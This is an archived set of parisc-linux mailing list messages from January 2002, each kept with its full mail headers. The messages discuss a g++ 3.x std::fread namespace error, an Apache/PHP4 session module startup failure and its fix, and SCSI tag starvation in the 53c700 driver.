int FOO::read(char *buf, int size)
{
  return std::fread(buf, size, 1, fd);
}
      
int main(int argc, char **argv)
{
  FOO foo;
  char buf[512];

  foo.read(buf, 512);

  return 0;
}
EOF
g++ foo.cc




From - Thu Nov 08 21:21:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] g++ problem with `std' namespace
Date: Fri, 25 Jan 2002 11:08:16 -0500 (EST)
Lines: 12
Approved: news@gmane.org
Message-ID: <200201251608.g0PG8GQx023975@hiauly1.hia.nrc.ca>
References: <Pine.LNX.4.21.0201250940350.1690-100000@maestro.symsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621011 1618 80.91.229.3 (22 Nov 2014 01:50:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: ingram@symsys.com (Greg Ingram)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 25 09:08:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id C2A48482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 25 Jan 2002 09:08:19 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g0PG8HFN023976;
	Fri, 25 Jan 2002 11:08:17 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g0PG8GQx023975;
	Fri, 25 Jan 2002 11:08:16 -0500 (EST)
In-Reply-To: <Pine.LNX.4.21.0201250940350.1690-100000@maestro.symsys.com> from "Greg Ingram" at Jan 25, 2002 09:54:46 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13872

> they all have gcc 2.95.x while my parisc box has gcc 3.0.x.  Is this a
> parisc problem, a gcc problem, or a coder problem?

It's a coder problem.  Y'll have to read up on libstdc++.  Gcc 3.X has
a new more library implementation.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:21:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] g++ problem with `std' namespace
Date: Fri, 25 Jan 2002 16:30:52 +0000
Lines: 20
Approved: news@gmane.org
Message-ID: <20020125163052.B20046@parcelfarce.linux.theplanet.co.uk>
References: <2F1E6AB90ECAD311943700A0C9E3B15407888693@xatl03.atl.hp.com> <Pine.LNX.4.21.0201250940350.1690-100000@maestro.symsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621011 1620 80.91.229.3 (22 Nov 2014 01:50:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Greg Ingram <ingram@symsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 25 09:30:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8471E482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 25 Jan 2002 09:30:54 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16U9Fc-0006Uj-00; Fri, 25 Jan 2002 16:30:52 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <Pine.LNX.4.21.0201250940350.1690-100000@maestro.symsys.com>; from ingram@symsys.com on Fri, Jan 25, 2002 at 09:54:46AM -0600
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13873

On Fri, Jan 25, 2002 at 09:54:46AM -0600, Greg Ingram wrote:
> 
> I seem to have run into a problem with GCC on parisc-linux which the
> script below will demonstrate.  I get an "`fread' undeclared in namespace
> `std'" error.  The example works fine on four other architectures, but
> they all have gcc 2.95.x while my parisc box has gcc 3.0.x.  Is this a
> parisc problem, a gcc problem, or a coder problem?

bit of each.  gcc changed to be closer to being standards compliant,
and broke a lot of noncompliant code that had previously worked.
In this case, fread is no longer in std.  You should be using ::fread,
not std::fread

Oh -- just figured out a different solution.  If you replace #include
<stdio.h> with #include <cstdio>, std::fread works.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikko Palo <mpalo@drysoft.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 712/60, 2.4.17-pa13, debian testing, php4 and apache don't work..
Date: 26 Jan 2002 02:09:11 +0200
Lines: 51
Approved: news@gmane.org
Message-ID: <1012003752.3303.2.camel@finlandia.drysoft.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621011 1621 80.91.229.3 (22 Nov 2014 01:50:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:11 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 25 17:09:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from finlandia.drysoft.org (finlandia.drysoft.org [192.107.216.183])
	by dsl2.external.hp.com (Postfix) with ESMTP id F35C7482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 25 Jan 2002 17:09:03 -0700 (MST)
Original-Received: (from mpalo@localhost)
	by finlandia.drysoft.org (8.11.6/8.11.6) id g0Q09CD03571;
	Sat, 26 Jan 2002 02:09:12 +0200
X-Authentication-Warning: finlandia.drysoft.org: mpalo set sender to mpalo@drysoft.org using -f
X-Mailer: Evolution/1.0 (Preview Release)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13874

Hi!

I don't know, does this email belong to this list or to debian bug
database. Nevertheless, I installed debian to my 712 from 0.9.3 CD and
updated everything by using apt-get update and apt-get upgrade commands.
Compiled the kernel myself, all working nicely. Then installed apache
and php4 via apt-get.

When trying to start apache by the command /etc/init.d/apache start, it
doesn't start. There is a line:
PHP Fatal error:  Unable to start session mm module in Unknown on line 0
in /var/log/apache/error_log..

Then I searched with google the solution for this bug. None of them
helped.

Straced a little /usr/sbin/apache:

--clippeti clip--

shmget(IPC_PRIVATE, 33554432, IPC_CREAT|0x180|0600) = 360448
shmat(360448, 0x80808080, 0ptrace: umoven: Input/output error
)            = ?
shmctl(360448, IPC_STAT, 0x80808080)    = 0
getuid()                                = 0
getgid()                                = 0
shmctl(360448, IPC_SET, 0x80808080)     = 0
shmctl(360448, IPC_RMID, 0x80808080)    = 0
unlink("")                              = -1 ENOENT (No such file or
directory)
open("", O_RDWR|O_CREAT, 0600)          = -1 ENOENT (No such file or
directory)
shmdt(0xfffffffe)                       = 0
shmctl(360448, IPC_RMID, 0xfffffffe)    = -1 EINVAL (Invalid argument)
unlink("")                              = -1 ENOENT (No such file or
directory)
write(2, "PHP Fatal error:  Unable to star"..., 72) = 72
write(2, "\n", 1)                       = 1
exit(-2)                                = ?

--clippeti clip--

I doubt that there is something wrong between mm module and shared
memory code in kernel? Or am I totally wrong?

So what should I do that I will get it working?

-MP




From - Thu Nov 08 21:21:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: tag starvation
Date: Fri, 25 Jan 2002 22:28:33 -0700
Lines: 42
Approved: news@gmane.org
Message-ID: <20020126052834.1F31C482A@dsl2.external.hp.com>
References: <200201240200.VAA00858@monmouth.com> <20020125065501.A6537482A@dsl2.external.hp.com>  <20020125095755.GH32617@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621011 1622 80.91.229.3 (22 Nov 2014 01:50:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:11 +0000 (UTC)
Cc: Vlad Markov <markov@monmouth.com>,
	parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 25 22:28:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 1F31C482A; Fri, 25 Jan 2002 22:28:34 -0700 (MST)
In-Reply-To: Message from Richard Hirst <rhirst@linuxcare.com> 
   of "Fri, 25 Jan 2002 09:57:55 GMT." <20020125095755.GH32617@sleepie.demon.co.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13875

Richard Hirst wrote:
> I used to get this a lot, until James changed the driver to only report
> the first occurance of it.  Don't remember the exact details, but iirc
> it is for info only, and non-fatal.  From the code it looks like it
> means some cmnd has been sitting in the drive unprocessed for too long,
> and the code rejects new cmds until those older ones have been processed
> or timed out.

Ah ok...does "starvation" properly described by the following scenario?

While the drive is completing IO requests as fast as it can,
*some* IO's don't complete because they never become the most
optimal one to complete. This is an inherent "unfairness"
in the normal SCSI  Queue tag. (Two other types of tags exist but
are never used by Unix OS's AFAICT: ordered, Head)

HP branded (and tested) drives are required to return a completion
for any outstanding IO within 3 seconds. ie if 8 tags are active
any given time, the drive can complete the IO's in any order until
an IO reaches this 3 second limit. The reason for the limit is
to prevent outstanding file system meta data from locking up access
to portions the file system for 30+ seconds.

> Hmm, I thought that would be a feature of a specific driver, not the
> upper layers.  53c700.c doesn't (yet) have any boot options to disable
> tags.

hmmm...could we just replace the following constant with
a MODULE_PARAM() variable?

53c700.h:#define NCR_700_MAX_TAGS               16

In the interim, I suggest reducing this until the problem
goes away for that disk.

IIRC, HPUX allows the user to set this on a per disk basis
using scsictl command.

thanks,
grant



From - Thu Nov 08 21:21:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikko Palo <mpalo@drysoft.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 712/60, 2.4.17-pa13, debian testing, php4 and
	apache don't work.. -- SOLVED
Date: 26 Jan 2002 13:22:28 +0200
Lines: 68
Approved: news@gmane.org
Message-ID: <1012044148.3404.6.camel@finlandia.drysoft.org>
References: <1012003752.3303.2.camel@finlandia.drysoft.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621012 1628 80.91.229.3 (22 Nov 2014 01:50:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan 26 04:22:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from finlandia.drysoft.org (finlandia.drysoft.org [192.107.216.183])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5B78F482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 26 Jan 2002 04:22:25 -0700 (MST)
Original-Received: (from mpalo@localhost)
	by finlandia.drysoft.org (8.11.6/8.11.6) id g0QBMSE04042;
	Sat, 26 Jan 2002 13:22:28 +0200
X-Authentication-Warning: finlandia.drysoft.org: mpalo set sender to mpalo@drysoft.org using -f
In-Reply-To: <1012003752.3303.2.camel@finlandia.drysoft.org>
X-Mailer: Evolution/1.0 (Preview Release)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13876

Sigh, I hate to reply myself, but..

Problem solved, had to compile apache, mm and php4 from source using
apt-get source --build XXXX command. Now everything working very
perfectly..

Keep working good job, guys! :)

-MP

On Sat, 2002-01-26 at 02:09, Mikko Palo wrote:
> Hi!
> 
> I don't know, does this email belong to this list or to debian bug
> database. Nevertheless, I installed debian to my 712 from 0.9.3 CD and
> updated everything by using apt-get update and apt-get upgrade commands.
> Compiled the kernel myself, all working nicely. Then installed apache
> and php4 via apt-get.
> 
> When trying to start apache by the command /etc/init.d/apache start, it
> doesn't start. There is a line:
> PHP Fatal error:  Unable to start session mm module in Unknown on line 0
> in /var/log/apache/error_log..
> 
> Then I searched with google the solution for this bug. None of them
> helped.
> 
> Straced a little /usr/sbin/apache:
> 
> --clippeti clip--
> 
> shmget(IPC_PRIVATE, 33554432, IPC_CREAT|0x180|0600) = 360448
> shmat(360448, 0x80808080, 0ptrace: umoven: Input/output error
> )            = ?
> shmctl(360448, IPC_STAT, 0x80808080)    = 0
> getuid()                                = 0
> getgid()                                = 0
> shmctl(360448, IPC_SET, 0x80808080)     = 0
> shmctl(360448, IPC_RMID, 0x80808080)    = 0
> unlink("")                              = -1 ENOENT (No such file or
> directory)
> open("", O_RDWR|O_CREAT, 0600)          = -1 ENOENT (No such file or
> directory)
> shmdt(0xfffffffe)                       = 0
> shmctl(360448, IPC_RMID, 0xfffffffe)    = -1 EINVAL (Invalid argument)
> unlink("")                              = -1 ENOENT (No such file or
> directory)
> write(2, "PHP Fatal error:  Unable to star"..., 72) = 72
> write(2, "\n", 1)                       = 1
> exit(-2)                                = ?
> 
> --clippeti clip--
> 
> I doubt that there is something wrong between mm module and shared
> memory code in kernel? Or am I totally wrong?
> 
> So what should I do that I will get it working?
> 
> -MP
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux




From - Thu Nov 08 21:21:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: tag starvation
Date: Sat, 26 Jan 2002 12:23:40 -0500
Lines: 78
Approved: news@gmane.org
Message-ID: <200201261723.g0QHNeI02030@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621012 1633 80.91.229.3 (22 Nov 2014 01:50:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:12 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan 26 10:24:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost.localdomain (unknown [64.109.89.110])
	by dsl2.external.hp.com (Postfix) with ESMTP id 387EA482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 26 Jan 2002 10:24:09 -0700 (MST)
Original-Received: from mulgrave (jejb@localhost)
	by localhost.localdomain (8.11.6/linuxconf) with ESMTP id g0QHNeI02030;
	Sat, 26 Jan 2002 12:23:40 -0500
X-Mailer: exmh version 2.4 06/23/2000 with nmh-1.0.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13877

> > Normally you shouldn't see this *if* the device supports tagged
> > commands.

> I used to get this a lot, until James changed the driver to only
> report the first occurance of it.  Don't remember the exact details,
> but iirc it is for info only, and non-fatal.  From the code it looks
> like it means some cmnd has been sitting in the drive unprocessed for
> too long, and the code rejects new cmds until those older ones have
> been processed or timed out.

That's essentially it.  A driver is allowed to execute simple tagged commands 
in any order it chooses (since it knows its own internal platter topology, it 
is supposed to order the execution to be the fastest and most efficient 
possible).  However, the queuing algorithm on some drives can be inherently 
unfair; usually if you have a steady stream of I/Os to one part of the platter 
and a single I/O waiting for a different one.  An unfair algorithm may simply 
ignore a pending tagged command for quite a period of time (this is what is 
known as tag starvation).  If the command remains unprocessed for >2s, the 
mid-layer will begin error recovery, which can cause all sorts of problems.

Almost every good driver that implements tagged commands has some sort of 
algorithm to detect this situation and correct it before the mid layer comes 
in with the big hammer.  The message is a harmless warning that this type of 
correction has been activated in the driver.  For those who're interested in 
the details, I attach the explanation of what it actually does at the bottom.

> > I can never remember the SCSI driver options (the parisc-linux FAQ has
> > the URL to them) but one of them will either disable or limit 
> > "queue depth" for Queue Tags and that should take care of it.

> Hmm, I thought that would be a feature of a specific driver, not the
> upper layers.  53c700.c doesn't (yet) have any boot options to disable
> tags.

OK, my fault, I keep meaning to add it.  One thing that irritates me about 
this option is that it should be a global one (belonging to the whole SCSI 
subsystem) not local to each driver.  However, that's just a pet peeve of mine 
(in fact the SCSI subsystem should do an awful lot more of this type of option 
tracking and helping), it's not too difficult to implement, I'll get on with 
doing it.

James

How to Counter Tag Starvation
==============================

Most of the maintained drivers in Linux do this by keeping a timer on the 
outstanding tagged commands.  When they see the timer expire they switch from 
simple tags to ordered tags (an ordered tag is like a marker in the 
queue---you can't execute any command after an ordered tag untill all those 
before it have completed).

The 53c700 has a much simpler approach:  A tag is simply a number between 0 
and 255 identifying the command.  Obviously, there cannot be two tags with the 
same number to the same device outstanding at any one time.  For each device 
the 53c700 keeps track of the tag number of the oldest outstanding command and 
the next tag to allocate (the latter is incremented by one [modulo 256] every 
time a command goes out).  You can think of this as hands on a clock with 256 
graduations.  All outstanding tags are between the two hands.  The driver 
detects tag starvation when the hands try to cross (i.e. the next tag to be 
allocated would be the same tag number as the oldest outstanding command).  At 
that point, it prints the message and refuses to accept any further I/Os from 
the mid layer.  Eventually, the offending outstanding command will clear 
(possibly after all the rest of the commands are emptied) and the driver 
begins accepting I/Os again.

The reason for this approach in the 53c700 is that it is driving much older 
(and buggier) devices.  If the device messed up on the ordered queue tag we 
could get into a whole heap of trouble.

Obviously, since the SCSI mid-layer also keeps a timer on outstanding 
commands, it is a complete waste to duplicate this inside the driver.  
Unfortunately, the first the driver hears from the mid-layer about a problem 
command is when the mid-layer wants it aborted, by which time it is a bit late.





From - Thu Nov 08 21:21:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: tag starvation
Date: Sat, 26 Jan 2002 17:22:11 +0000
Lines: 24
Approved: news@gmane.org
Message-ID: <20020126172210.GP2884@sleepie.demon.co.uk>
References: <200201240200.VAA00858@monmouth.com> <20020125065501.A6537482A@dsl2.external.hp.com> <20020125095755.GH32617@sleepie.demon.co.uk> <20020126052834.1F31C482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621012 1660 80.91.229.3 (22 Nov 2014 01:50:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:12 +0000 (UTC)
Cc: Vlad Markov <markov@monmouth.com>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan 26 10:32:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc4-hems4-0-cust39.bre.cable.ntl.com [213.105.90.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7E3C24831
	for <parisc-linux@lists.parisc-linux.org>; Sat, 26 Jan 2002 10:32:56 -0700 (MST)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 4BFA29EC5F; Sat, 26 Jan 2002 17:22:11 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <20020126052834.1F31C482A@dsl2.external.hp.com>
User-Agent: Mutt/1.3.24i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13878

On Fri, Jan 25, 2002 at 10:28:33PM -0700, Grant Grundler wrote:
> Ah ok...does "starvation" properly described by the following scenario?
> 
> While the drive is completing IO requests as fast as it can,
> *some* IO's don't complete because they never become the most
> optimal one to complete. This is an inherent "unfairness"
> in the normal SCSI  Queue tag. (Two other types of tags exist but
> are never used by Unix OS's AFAICT: ordered, Head)

Yes, that sums it up nicely.

> hmmm...could we just replace the following constant with
> a MODULE_PARAM() variable?
> 
> 53c700.h:#define NCR_700_MAX_TAGS               16

That sounds like a good idea; I think James was planning to add some
options like that to the driver, so we should check with him before
doing anything.

Richard




From - Thu Nov 08 21:21:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Timothy Ball <timball@tux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [timball@tux.org: Re: [parisc-linux] 712/60, 2.4.17-pa13, debian testing, php4 and apache don't work.. -- SOLVED]
Date: Sat, 26 Jan 2002 14:47:13 -0500
Lines: 29
Approved: news@gmane.org
Message-ID: <20020126194713.GD5722@gwyn.tux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621013 1665 80.91.229.3 (22 Nov 2014 01:50:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:13 +0000 (UTC)
To: parics Linux Mailing List <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan 26 12:47:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gwyn.tux.org (gwyn.tux.org [207.96.122.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id 542E2482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 26 Jan 2002 12:47:19 -0700 (MST)
Original-Received: (from timball@localhost)
	by gwyn.tux.org (8.9.3/8.9.1) id OAA17448
	for parisc-linux@lists.parisc-linux.org; Sat, 26 Jan 2002 14:47:13 -0500
Content-Disposition: inline
User-Agent: Mutt/1.3.25i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
